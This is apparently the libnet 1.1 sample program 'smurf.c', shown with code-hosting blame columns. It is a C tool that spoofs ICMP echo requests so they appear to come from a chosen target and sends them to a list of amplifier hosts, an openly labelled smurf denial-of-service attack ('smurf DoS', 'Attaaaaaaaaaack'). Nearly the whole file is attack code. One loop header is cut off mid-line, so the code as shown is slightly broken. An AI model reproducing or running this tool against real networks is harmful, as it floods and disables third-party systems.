|
Packit Service |
b25606 |
/*
|
|
Packit Service |
b25606 |
* $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* libnet 1.1
|
|
Packit Service |
b25606 |
* Build Smurf packets
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
|
|
Packit Service |
b25606 |
* All rights reserved.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* Redistribution and use in source and binary forms, with or without
|
|
Packit Service |
b25606 |
* modification, are permitted provided that the following conditions
|
|
Packit Service |
b25606 |
* are met:
|
|
Packit Service |
b25606 |
* 1. Redistributions of source code must retain the above copyright
|
|
Packit Service |
b25606 |
* notice, this list of conditions and the following disclaimer.
|
|
Packit Service |
b25606 |
* 2. Redistributions in binary form must reproduce the above copyright
|
|
Packit Service |
b25606 |
* notice, this list of conditions and the following disclaimer in the
|
|
Packit Service |
b25606 |
* documentation and/or other materials provided with the distribution.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
|
Packit Service |
b25606 |
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
Packit Service |
b25606 |
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
Packit Service |
b25606 |
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
|
Packit Service |
b25606 |
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
Packit Service |
b25606 |
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
|
Packit Service |
b25606 |
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
|
Packit Service |
b25606 |
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
Packit Service |
b25606 |
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
Packit Service |
b25606 |
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
|
Packit Service |
b25606 |
* SUCH DAMAGE.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
*/
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
#if (HAVE_CONFIG_H)
|
|
Packit Service |
b25606 |
#include "../include/config.h"
|
|
Packit Service |
b25606 |
#endif
|
|
Packit Service |
b25606 |
#include "./libnet_test.h"
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
void usage(char *);
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
int
|
|
Packit Service |
b25606 |
main(int argc, char **argv)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
libnet_t *l = NULL;
|
|
Packit Service |
b25606 |
u_long target_ip = 0, ampli_ip = 0;
|
|
Packit Service |
b25606 |
u_long count = 10;
|
|
Packit Service |
b25606 |
int i, c;
|
|
Packit Service |
b25606 |
libnet_ptag_t t;
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
char *device = NULL;
|
|
Packit Service |
b25606 |
char *pTarget = NULL;
|
|
Packit Service |
b25606 |
char errbuf[LIBNET_ERRBUF_SIZE];
|
|
Packit Service |
b25606 |
char label[LIBNET_LABEL_SIZE];
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
while((c = getopt(argc, argv, "t:i:c:")) != EOF)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
switch (c)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
case 't':
|
|
Packit Service |
b25606 |
pTarget = optarg;
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
case 'i':
|
|
Packit Service |
b25606 |
device = optarg;
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
case 'c':
|
|
Packit Service |
b25606 |
count = strtoul(optarg, 0, 10);
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if (optind == argc) {
|
|
Packit Service |
b25606 |
fprintf(stderr, "No amplifier given.\n");
|
|
Packit Service |
b25606 |
usage(argv[0]);
|
|
Packit Service |
b25606 |
exit (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if (!pTarget) {
|
|
Packit Service |
b25606 |
fprintf(stdout, "No target given.\n");
|
|
Packit Service |
b25606 |
usage(argv[0]);
|
|
Packit Service |
b25606 |
exit (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Bad target IP address: %s\n", pTarget);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* Create a context for each amplifier */
|
|
Packit Service |
b25606 |
for (i = 0; optind < argc; optind++) {
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
printf ("Adding amplifier %s\n", argv[optind]);
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
l = libnet_init(
|
|
Packit Service |
b25606 |
LIBNET_RAW4, /* injection type */
|
|
Packit Service |
b25606 |
device, /* network interface */
|
|
Packit Service |
b25606 |
errbuf); /* errbuf */
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if (l == NULL)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "libnet_init() failed: %s", errbuf);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);
|
|
Packit Service |
b25606 |
exit(1);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* build the packet */
|
|
Packit Service |
b25606 |
t = libnet_build_icmpv4_echo(
|
|
Packit Service |
b25606 |
ICMP_ECHO, /* type */
|
|
Packit Service |
b25606 |
0, /* code */
|
|
Packit Service |
b25606 |
0, /* checksum */
|
|
Packit Service |
b25606 |
0x42, /* id */
|
|
Packit Service |
b25606 |
0x42, /* sequence number */
|
|
Packit Service |
b25606 |
NULL, /* payload */
|
|
Packit Service |
b25606 |
0, /* payload size */
|
|
Packit Service |
b25606 |
l, /* libnet handle */
|
|
Packit Service |
b25606 |
0);
|
|
Packit Service |
b25606 |
if (t == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
|
|
Packit Service |
b25606 |
goto bad;
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
t = libnet_build_ipv4(
|
|
Packit Service |
b25606 |
LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
|
|
Packit Service |
b25606 |
0, /* TOS */
|
|
Packit Service |
b25606 |
0x42, /* IP ID */
|
|
Packit Service |
b25606 |
0, /* IP Frag */
|
|
Packit Service |
b25606 |
64, /* TTL */
|
|
Packit Service |
b25606 |
IPPROTO_ICMP, /* protocol */
|
|
Packit Service |
b25606 |
0, /* checksum */
|
|
Packit Service |
b25606 |
target_ip, /* source IP */
|
|
Packit Service |
b25606 |
ampli_ip, /* destination IP */
|
|
Packit Service |
b25606 |
NULL, /* payload */
|
|
Packit Service |
b25606 |
0, /* payload size */
|
|
Packit Service |
b25606 |
l, /* libnet handle */
|
|
Packit Service |
b25606 |
0);
|
|
Packit Service |
b25606 |
if (t == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
|
|
Packit Service |
b25606 |
goto bad;
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* and finally, put it in the arena */
|
|
Packit Service |
b25606 |
snprintf(label, sizeof(label)-1, "echo%d", i);
|
|
Packit Service |
b25606 |
if (libnet_cq_add(l, label) == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "add error: %s\n", libnet_geterror(l));
|
|
Packit Service |
b25606 |
goto bad;
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
} /* for (optind < argc) */
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* Attaaaaaaaaaack */
|
|
Packit Service |
b25606 |
for_each_context_in_cq(l) {
|
|
Packit Service |
b25606 |
/*
|
|
Packit Service |
b25606 |
* Write it to the wire.
|
|
Packit Service |
b25606 |
*/
|
|
Packit Service |
b25606 |
for (i = 0; i
|
|
Packit Service |
b25606 |
c = libnet_write(l);
|
|
Packit Service |
b25606 |
if (c == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));
|
|
Packit Service |
b25606 |
goto bad;
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
else
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
libnet_cq_destroy();
|
|
Packit Service |
b25606 |
return (EXIT_SUCCESS);
|
|
Packit Service |
b25606 |
bad:
|
|
Packit Service |
b25606 |
libnet_cq_destroy();
|
|
Packit Service |
b25606 |
libnet_destroy(l);
|
|
Packit Service |
b25606 |
return (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
void
|
|
Packit Service |
b25606 |
usage(char *name)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* EOF */
|